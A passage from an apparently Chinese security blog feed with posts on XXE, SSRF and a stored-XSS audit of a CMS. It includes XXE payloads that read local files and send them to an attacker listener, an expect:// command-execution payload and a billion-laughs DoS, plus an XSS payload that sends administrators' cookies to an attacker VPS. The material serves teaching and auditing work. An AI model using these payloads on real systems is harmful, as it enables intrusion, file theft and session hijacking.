class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"utf-8"</span><span class="meta">?></span></span> </span><br><span class="line"><span class="meta"><!DOCTYPE root [</span></span><br><span class="line"><span class="meta"><!ENTITY % start "<![CDATA["> </span></span><br><span class="line"><span class="meta"><!ENTITY % test SYSTEM "file:///Users/xianyu123/test.txt"> </span></span><br><span class="line"><span class="meta"><!ENTITY % end "]]></span>"> </span><br><span class="line"><span class="tag"><<span class="name">!ENTITY</span> % <span class="attr">dtd</span> <span class="attr">SYSTEM</span> "<span class="attr">http:</span>//<span class="attr">localhost:82</span>/<span class="attr">WWW</span>/<span class="attr">test.dtd</span>"></span> </span><br><span class="line">%dtd; ]> </span><br><span class="line"></span><br><span class="line"><span class="tag"><<span class="name">root</span>></span>&all;<span class="tag"></<span class="name">root</span>></span></span><br></pre></td></tr></table></figure><p><code>test.dtd</code></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span><span class="meta">?></span></span></span><br><span class="line"><span class="tag"><<span class="name">!ENTITY</span> <span class="attr">all</span> "%<span class="attr">start</span>;%<span class="attr">test</span>;%<span class="attr">end</span>;"></span></span><br></pre></td></tr></table></figure><p><strong>结果如下</strong>:</p><p><img src="http://images.xianyu123.club/20200813220408.png" alt="image-20200813220408547"></p><p><strong>调用过程</strong>:这里从上到下执行,首先执行payload第7行的中的<code>%dtd;</code>,然后把<code>http://localhost:82/WWW/test.dtd</code>内容引入到了payload中,这里有点类似于将 <code>test.dtd</code>包含进来。然后再执行第10行的<code>&all;</code>,然后就是一次执行<code>%start;%test;%end;</code>,最后把文件内容加载了出来</p><h2 id="无回显读取本地文件"><a href="#无回显读取本地文件" class="headerlink" title="无回显读取本地文件"></a>无回显读取本地文件</h2><p><strong>xml.php</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><?php</span><br><span class="line">libxml_disable_entity_loader (false);</span><br><span class="line">$xmlfile = file_get_contents('php://input');</span><br><span class="line">$dom = new DOMDocument();</span><br><span class="line">$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); </span><br><span class="line">?></span><br></pre></td></tr></table></figure><p><strong>test.dtd</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///Users/xianyu123/test.txt"></span><br><span class="line"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:10006?p=%file;'>"></span><br></pre></td></tr></table></figure><p><strong>payload:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE payload [ </span><br><span class="line"><!ENTITY % remote SYSTEM "http://ip/test.dtd"></span><br><span class="line">%remote;%int;%send;</span><br><span class="line">]></span><br></pre></td></tr></table></figure><p><strong>结果如下</strong>:</p><p><img src="http://images.xianyu123.club/20200814143940.png" alt="image-20200814143940322"></p><p><img src="http://images.xianyu123.club/20200814143953.png" alt="image-20200814143953166"></p><p>这里执行的原理与上述CDATA标签的原理类似,就不再过多赘述</p><h2 id="HTTP-内网主机探测"><a href="#HTTP-内网主机探测" class="headerlink" title="HTTP 内网主机探测"></a>HTTP 内网主机探测</h2><h2 id="HTTP-内网主机端口扫描"><a href="#HTTP-内网主机端口扫描" class="headerlink" title="HTTP 内网主机端口扫描"></a>HTTP 内网主机端口扫描</h2><h2 id="PHP-expect-命令执行(RCE)"><a href="#PHP-expect-命令执行(RCE)" class="headerlink" title="PHP expect 命令执行(RCE)"></a>PHP expect 命令执行(RCE)</h2><p>PHP 的 expect 扩展并不是默认安装的,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE</p><p><strong>示例代码:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]></span><br><span class="line"><dir></span><br><span class="line"><file>&cmd;</file></span><br><span class="line"></dir></span><br></pre></td></tr></table></figure><h2 id="利用-XXE-进行-DOS-攻击"><a href="#利用-XXE-进行-DOS-攻击" class="headerlink" title="利用 XXE 进行 DOS 攻击"></a>利用 XXE 进行 DOS 攻击</h2><p><strong>示例代码:</strong></p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?</span>xml version=<span class="string">"1.0"</span><span class="meta">?></span></span></span><br><span class="line"> <span class="meta"><!DOCTYPE lolz [</span></span><br><span class="line"><span class="meta"> <!ENTITY lol "lol"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"></span></span><br><span class="line"><span class="meta"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"></span></span><br><span class="line"><span class="meta"> ]></span></span><br><span class="line"> <span class="tag"><<span class="name">lolz</span>></span>&lol9;<span class="tag"></<span class="name">lolz</span>></span></span><br></pre></td></tr></table></figure><h1 id="防御"><a href="#防御" class="headerlink" title="防御"></a>防御</h1><h3 id="方案一:使用语言中推荐的禁用外部实体的方法"><a href="#方案一:使用语言中推荐的禁用外部实体的方法" class="headerlink" title="方案一:使用语言中推荐的禁用外部实体的方法"></a><strong>方案一:使用语言中推荐的禁用外部实体的方法</strong></h3><p><strong>PHP:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">libxml_disable_entity_loader(true);</span><br></pre></td></tr></table></figure><p><strong>JAVA:</strong></p><p><strong>Python:</strong></p><h3 id="方案二:黑名单过滤-不推荐"><a href="#方案二:黑名单过滤-不推荐" class="headerlink" title="方案二:黑名单过滤(不推荐)"></a><strong>方案二:黑名单过滤(不推荐)</strong></h3><p>过滤关键词:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DOCTYPE、ENTITY SYSTEM、PUBLIC</span><br></pre></td></tr></table></figure><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="https://xz.aliyun.com/t/3357" target="_blank" rel="noopener">一篇文章带你深入理解漏洞之 XXE 漏洞</a></li><li><a href="https://hpdoger.cn/2019/01/07/从两道CTF题目学习XXE漏洞/" target="_blank" rel="noopener">从两道CTF题目学习XXE漏洞</a></li><li><a href="https://www.zhihu.com/question/31353595" target="_blank" rel="noopener">XML到底是干什么的?</a></li><li><a href="https://thief.one/2017/06/20/1/" target="_blank" rel="noopener">浅谈XXE漏洞攻击与防御</a></li></ul>]]></content>
<summary type="html">
<p>对xxe漏洞的一些思考</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>从代码审计的角度来看SSRF漏洞</title>
<link href="http://0clickjacking0.github.io/2020/08/12/%E4%BB%8E%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E7%9A%84%E8%A7%92%E5%BA%A6%E6%9D%A5%E7%9C%8BSSRF%E6%BC%8F%E6%B4%9E/"/>
<id>http://0clickjacking0.github.io/2020/08/12/从代码审计的角度来看SSRF漏洞/</id>
<published>2020-08-12T09:18:36.000Z</published>
<updated>2020-08-24T02:24:10.142Z</updated>
<content type="html"><![CDATA[<p>从代码审计的角度来看SSRF漏洞</p><a id="more"></a><h1 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h1><p>SSRF(Server-side Request Forge, 服务端请求伪造)。<br>由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。</p><h1 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h1><h2 id="PHP"><a href="#PHP" class="headerlink" title="PHP"></a>PHP</h2><h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><p><code>file_get_contents()</code>、<code>fsockopen()</code>、<code>curl_exec()</code>、<code>fopen()</code>、<code>readfile()</code>等函数使用不当会造成SSRF漏洞</p><h2 id="Java"><a href="#Java" class="headerlink" title="Java"></a>Java</h2><h1 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h1><ul><li><a href="https://www.anquanke.com/post/id/145519" target="_blank" rel="noopener">浅析SSRF原理及利用方式</a></li><li><a href="https://xz.aliyun.com/t/7405" target="_blank" rel="noopener">SSRF漏洞的利用与攻击内网应用实战</a></li></ul>]]></content>
<summary type="html">
<p>从代码审计的角度来看SSRF漏洞</p>
</summary>
<category term="Web Security" scheme="http://0clickjacking0.github.io/categories/Web-Security/"/>
</entry>
<entry>
<title>极致cms v1.7的一次审计</title>
<link href="http://0clickjacking0.github.io/2020/06/18/%E6%9E%81%E8%87%B4cms%20v1.7%E7%9A%84%E4%B8%80%E6%AC%A1%E5%AE%A1%E8%AE%A1/"/>
<id>http://0clickjacking0.github.io/2020/06/18/极致cms v1.7的一次审计/</id>
<published>2020-06-18T03:08:05.000Z</published>
<updated>2020-08-24T02:23:32.016Z</updated>
<content type="html"><![CDATA[<p>本文首发于先知社区——<a href="https://xz.aliyun.com/t/7872" target="_blank" rel="noopener">极致cms v1.7的一次审计</a>,转载时请标明出处</p><a id="more"></a><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>记一次极致cms v1.7的一次比较全面的审计(除了插件部分,我觉得应该审计的差不多了),大佬们轻喷。</p><p>其实插件部分已经被<a href="https://xz.aliyun.com/u/17117" target="_blank" rel="noopener">爱吃猫的闲鱼</a>师傅审计发到先知上了</p><p>文章地址:<a href="https://xz.aliyun.com/t/7775" target="_blank" rel="noopener">某cms代码审计引发的思考</a></p><p>细心的朋友读完我这篇文章应该就能发现其实是同一个cms</p><h1 id="网站目录结构"><a href="#网站目录结构" class="headerlink" title="网站目录结构"></a>网站目录结构</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">.</span><br><span class="line">├── 404.html</span><br><span class="line">├── A(admin后台的一些文件,审计重点)</span><br><span class="line">├── Conf(一些网站的配置文件,公共函数)</span><br><span class="line">├── FrPHP(框架)</span><br><span class="line">├── Home(用户的一些文件,审计核心)</span><br><span class="line">├── Public(上传文件保存的地方)</span><br><span class="line">├── README.md</span><br><span class="line">├── admin.php(后台入口)</span><br><span class="line">├── backup(数据库备份文件)</span><br><span class="line">├── cache(网站缓存)</span><br><span class="line">├── favicon.ico</span><br><span class="line">├── index.php(前台入口)</span><br><span class="line">├── install(安装目录)</span><br><span class="line">├── readme.txt</span><br><span class="line">├── sitemap.xml</span><br><span class="line">├── static(一些静态文件)</span><br><span class="line">└── web.config</span><br></pre></td></tr></table></figure><h1 id="网站的一些公共函数"><a href="#网站的一些公共函数" class="headerlink" title="网站的一些公共函数"></a>网站的一些公共函数</h1><p>由于下面的漏洞需要频繁的用到这个函数,所以我就单独拿出来先讲解一下。</p><h2 id="frparam"><a href="#frparam" class="headerlink" title="frparam()"></a>frparam()</h2><p><code>/FrPHP/lib/Controller.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取URL参数值</span></span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">frparam</span><span class="params">($str=null, $int=<span class="number">0</span>,$default = FALSE, $method = null)</span></span>{</span><br><span class="line"></span><br><span class="line">$data = <span class="keyword">$this</span>->_data;</span><br><span class="line"><span class="keyword">if</span>($str===<span class="keyword">null</span>) <span class="keyword">return</span> $data;</span><br><span class="line"><span class="keyword">if</span>(!array_key_exists($str,$data)){</span><br><span class="line"><span class="keyword">return</span> ($default===<span class="keyword">FALSE</span>)?<span class="keyword">false</span>:$default;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($method===<span class="keyword">null</span>){</span><br><span class="line">$value = $data[$str];</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$method = strtolower($method);</span><br><span class="line"><span class="keyword">switch</span>($method){</span><br><span class="line"><span class="keyword">case</span> <span class="string">'get'</span>:</span><br><span class="line">$value = $_GET[$str];</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="string">'post'</span>:</span><br><span class="line">$value = $_POST[$str];</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"><span class="keyword">case</span> <span class="string">'cookie'</span>:</span><br><span class="line">$value = $_COOKIE[$str];</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line"></span><br><span class="line">} </span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> format_param($value,$int);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>第28行,返回值进行了一些处理,继续回溯跟进,<code>format_param</code>方法如下:</p><p><code>/FrPHP/common/Functions.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">参数过滤,格式化</span></span><br><span class="line"><span class="comment">**/</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">format_param</span><span class="params">($value=null,$int=<span class="number">0</span>)</span></span>{</span><br><span class="line"><span class="keyword">if</span>($value==<span class="keyword">null</span>){ <span class="keyword">return</span> <span class="string">''</span>;}</span><br><span class="line"><span class="keyword">switch</span> ($int){</span><br><span class="line"><span class="keyword">case</span> <span class="number">0</span>:<span class="comment">//整数</span></span><br><span class="line"><span class="keyword">return</span> (int)$value;</span><br><span class="line"><span class="keyword">case</span> <span class="number">1</span>:<span class="comment">//字符串</span></span><br><span class="line">$value=htmlspecialchars(trim($value), ENT_QUOTES);</span><br><span class="line"><span class="keyword">if</span>(!get_magic_quotes_gpc())$value = addslashes($value);</span><br><span class="line"><span class="keyword">return</span> $value;</span><br><span class="line"><span class="keyword">case</span> <span class="number">2</span>:<span class="comment">//数组</span></span><br><span class="line"><span class="keyword">if</span>($value==<span class="string">''</span>)<span class="keyword">return</span> <span class="string">''</span>;</span><br><span class="line">array_walk_recursive($value, <span class="string">"array_format"</span>);</span><br><span class="line"><span class="keyword">return</span> $value;</span><br><span class="line"><span class="keyword">case</span> <span class="number">3</span>:<span class="comment">//浮点</span></span><br><span class="line"><span class="keyword">return</span> (float)$value;</span><br><span class="line"><span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line"><span class="keyword">if</span>(!get_magic_quotes_gpc())$value = addslashes($value);</span><br><span class="line"><span class="keyword">return</span> trim($value);</span><br><span class="line">}</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这个函数用来处理数据,只会对数据进行一些简单的过滤,具体的就在上面的<code>switch</code>语句中</p><h1 id="存储型xss"><a href="#存储型xss" class="headerlink" title="存储型xss"></a>存储型xss</h1><h2 id="第一处存储型xss(只能打管理员cookie)"><a href="#第一处存储型xss(只能打管理员cookie)" class="headerlink" title="第一处存储型xss(只能打管理员cookie)"></a>第一处存储型xss(只能打管理员cookie)</h2><p><code>/Home/c/MessageController.php</code>中的index方法</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">index</span><span class="params">()</span></span>{</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>($_POST){</span><br><span class="line"></span><br><span class="line">$w = <span class="keyword">$this</span>->frparam();</span><br><span class="line">$w = get_fields_data($w,<span class="string">'message'</span>,<span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">$w[<span class="string">'body'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'body'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'user'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'user'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'tel'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tel'</span>,<span class="number">1</span>,<span class="string">''</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'aid'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'aid'</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="string">'POST'</span>);</span><br><span class="line">$w[<span class="string">'tid'</span>] = <span class="keyword">$this</span>->frparam(<span class="string">'tid'</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="string">'POST'</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">$this</span>->webconf[<span class="string">'autocheckmessage'</span>]==<span class="number">1</span>){</span><br><span class="line">$w[<span class="string">'isshow'</span>] = <span class="number">1</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">$w[<span class="string">'isshow'</span>] = <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">$w[<span class="string">'ip'</span>] = GetIP();</span><br><span class="line">$w[<span class="string">'addtime'</span>] = time();</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_SESSION[<span class="string">'member'</span>])){</span><br><span class="line">$w[<span class="string">'userid'</span>] = $_SESSION[<span class="string">'member'</span>][<span class="string">'id'</span>];</span><br><span class="line">}</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>这里第20行<code>$w['ip'] = GetIP();</code>,然后我们回溯,去找到<code>GetIP()</code>函数</p><p><code>/FrPHP/common/Functions.php</code></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">GetIP</span><span class="params">()</span></span>{ </span><br><span class="line"> <span class="keyword">static</span> $ip = <span class="string">''</span>;</span><br><span class="line"> $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>]) && preg_match(<span class="string">'/^([0-9]{1,3}\.){3}[0-9]{1,3}$/'</span>, $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>]) <span class="keyword">AND</span> preg_match_all(<span class="string">'#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s'</span>, $_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>], $matches)) {</span><br><span class="line"> <span class="keyword">foreach</span> ($matches[<span class="number">0</span>] <span class="keyword">AS</span> $xip) {</span><br><span class="line"> <span class="keyword">if</span> (!preg_match(<span class="string">'#^(10|172\.16|192\.168)\.#'</span>, $xip)) {</span><br><span class="line"> $ip = $xip;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $ip;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>这里第5行并没有对<code>$_SERVER['HTTP_CDN_SRC_IP']</code>进行过滤,我们只需要在http头中传入<code>CDN-SRC-IP</code>字段即可</p><p>我们可以本地新建一个<code>test.php</code>对该函数进行输出,是可以传入任意字符的</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">GetIP</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">static</span> $ip = <span class="string">''</span>;</span><br><span class="line"> $ip = $_SERVER[<span class="string">'REMOTE_ADDR'</span>];</span><br><span class="line"> <span class="keyword">if</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CDN_SRC_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span> (<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>]) && preg_match(<span class="string">'/^([0-9]{1,3}\.){3}[0-9]{1,3}$/'</span>, $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>])) {</span><br><span class="line"> $ip = $_SERVER[<span class="string">'HTTP_CLIENT_IP'</span>];</span><br><span class="line"> } <span class="keyword">elseif</span>(<span class="keyword">isset</span>($_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>]) <span class="keyword">AND</span> preg_match_all(<span class="string">'#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s'</span>, $_SERVER[<span class="string">'HTTP_X_FORWARDED_FOR'</span>], $matches)) {</span><br><span class="line"> <span class="keyword">foreach</span> ($matches[<span class="number">0</span>] <span class="keyword">AS</span> $xip) {</span><br><span class="line"> <span class="keyword">if</span> (!preg_match(<span class="string">'#^(10|172\.16|192\.168)\.#'</span>, $xip)) {</span><br><span class="line"> $ip = $xip;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $ip;</span><br><span class="line">}</span><br><span class="line"><span class="keyword">echo</span> GetIP();</span><br></pre></td></tr></table></figure><p><img src="http://images.xianyu123.club/20200411083835.png" alt="image-20200411083835608"></p><p>然后我们跟进,找到view模版</p><p><code>/A/t/tpl/message-details.html</code>大约在文件的第86到94行,核心代码如下</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"layui-form-item"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">label</span> <span class="attr">for</span>=<span class="string">"ip"</span> <span class="attr">class</span>=<span class="string">"layui-form-label"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">span</span> <span class="attr">class</span>=<span class="string">"x-red"</span>></span>*<span class="tag"></<span class="name">span</span>></span>留言IP</span><br><span class="line"><span class="tag"></<span class="name">label</span>></span></span><br><span class="line"><span class="tag"><<span class="name">div</span> <span class="attr">class</span>=<span class="string">"layui-input-block"</span>></span></span><br><span class="line"><span class="tag"><<span class="name">input</span> <span class="attr">type</span>=<span class="string">"text"</span> <span class="attr">id</span>=<span class="string">"ip"</span> <span class="attr">value</span>=<span class="string">"{$data['ip']}"</span> <span class="attr">name</span>=<span class="string">"ip"</span> </span></span><br><span class="line"><span class="tag"><span class="attr">autocomplete</span>=<span class="string">"off"</span> <span class="attr">class</span>=<span class="string">"layui-input"</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br><span class="line"><span class="tag"></<span class="name">div</span>></span></span><br><span class="line">......</span><br><span class="line">......</span><br><span class="line">......</span><br></pre></td></tr></table></figure><p>然后我们看到第9行<code><input type="text" id="ip" value="{$data['ip']}" name="ip" autocomplete="off" class="layui-input"></code>,这里是可以直接xss的</p><p>payload:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">"><script src="你的vps-ip/4.js"></script></span><br></pre></td></tr></table></figure><p>4.js内容如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">var image=new Image();</span><br><span class="line">image.src="你的vps-ip:10006/cookies.phpcookie="+document.cookie;</span><br></pre></td></tr></table></figure><p>然后我们提交留言</p><p><img src="http://images.xianyu123.club/20200531211933.png" alt="image-20200531211933313"></p><p>然后在vps上监听10006端口,当管理员点击编辑的时候,就会触发xss</p><p><img src="http://images.xianyu123.club/20200411091736.png" alt="image-20200411091736397"></p><p><img src="http://images.xianyu123.club/20200531212033.png" alt="image-20200531212033870"></p><p>这里的一个弊端,ip并没有显示在外面,很可惜,所以必须要诱导管理员点编辑才可以触发</p><h2 